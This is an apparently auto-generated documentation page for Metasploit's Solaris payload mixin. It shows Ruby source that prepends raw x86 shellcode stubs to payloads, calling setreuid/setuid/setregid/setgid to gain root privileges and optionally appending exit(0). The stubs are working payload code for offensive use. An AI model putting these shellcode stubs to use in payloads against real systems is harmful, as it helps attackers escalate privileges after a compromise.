Module: Msf::Payload::Solaris

Defined in:
lib/msf/core/payload/solaris.rb

Overview

This class is here to implement advanced features for solaris-based payloads. Solaris payloads are expected to include this module if they want to support these features.

Instance Method Summary collapse

Instance Method Details

#generate(*args) ⇒ Object

Overload the generate() call to prefix our stubs



65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
 
# File 'lib/msf/core/payload/solaris.rb', line 65

def generate(*args)
  # Call the real generator to get the payload
  buf = super(*args)
  pre = ''
  app = ''

  test_arch = [ *(self.arch) ]

  # Handle all x86 code here
  if (test_arch.include?(ARCH_X86))

    # Syscall code
    sc = "\x68\xff\xd8\xff\x3c" + #   pushl   $0x3cffd8ff                #
         "\x6a\x65"             + #   pushl   $0x65                      #
         "\x89\xe6"             + #   movl    %esp,%esi                  #
         "\xf7\x56\x04"         + #   notl    0x04(%esi)                 #
         "\xf6\x16"               #   notb    (%esi)                     #

    # Prepend

    if (datastore['PrependSetreuid'])
      # setreuid(0, 0)
      pre << "\x31\xc0"             + #   xorl    %eax,%eax                  #
             "\x50"                 + #   pushl   %eax                       #
             "\x50"                 + #   pushl   %eax                       #
             "\xb0\xca"             + #   movb    $0xca,%al                  #
             "\xff\xd6"               #   call    *%esi                      #
    end

    if (datastore['PrependSetuid'])
      # setuid(0)
      pre << "\x31\xc0"             + #   xorl    %eax,%eax                  #
             "\x50"                 + #   pushl   %eax                       #
             "\xb0\x17"             + #   movb    $0x17,%al                  #
             "\xff\xd6"               #   call    *%esi                      #
    end

    if (datastore['PrependSetregid'])
      # setregid(0, 0)
      pre << "\x31\xc0"             + #   xorl    %eax,%eax                  #
             "\x50"                 + #   pushl   %eax                       #
             "\x50"                 + #   pushl   %eax                       #
             "\xb0\xcb"             + #   movb    $0xcb,%al                  #
             "\xff\xd6"               #   call    *%esi                      #
    end

    if (datastore['PrependSetgid'])
      # setgid(0)
      pre << "\x31\xc0"             + #   xorl    %eax,%eax                  #
             "\x50"                 + #   pushl   %eax                       #
             "\xb0\x2e"             + #   movb    $0x2e,%al                  #
             "\xff\xd6"               #   call    *%esi                      #
    end
    # Append

    if (datastore['AppendExit'])
      # exit(0)
      app << "\x31\xc0"             + #   xorl    %eax,%eax                  #
             "\x50"                 + #   pushl   %eax                       #
             "\xb0\x01"             + #   movb    $0x01,%al                  #
             "\xff\xd6"               #   call    *%esi                      #
    end

    # Prepend syscall code to prepend block
    if !(pre.empty?)
      pre = sc + pre
    end

    # Prepend syscall code to append block
    if !(app.empty?)
      app = sc + app
    end

  end

  return (pre + buf + app)
end

#initialize(info = {}) ⇒ Object

This mixin is chained within payloads that target the Solaris platform. It provides special prepends, to support things like chroot and setuid.



16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
 
# File 'lib/msf/core/payload/solaris.rb', line 16

def initialize(info = {})
  ret = super(info)

  register_advanced_options(
    [
      Msf::OptBool.new('PrependSetreuid',
        [
          false,
          "Prepend a stub that executes the setreuid(0, 0) system call",
          "false"
        ]
      ),
      Msf::OptBool.new('PrependSetuid',
        [
          false,
          "Prepend a stub that executes the setuid(0) system call",
          "false"
        ]
      ),
      Msf::OptBool.new('PrependSetregid',
        [
          false,
          "Prepend a stub that executes the setregid(0, 0) system call",
          "false"
        ]
      ),
      Msf::OptBool.new('PrependSetgid',
        [
          false,
          "Prepend a stub that executes the setgid(0) system call",
          "false"
        ]
      ),
      Msf::OptBool.new('AppendExit',
        [
          false,
          "Append a stub that executes the exit(0) system call",
          "false"
        ]
      ),
    ], Msf::Payload::Solaris)

  ret
end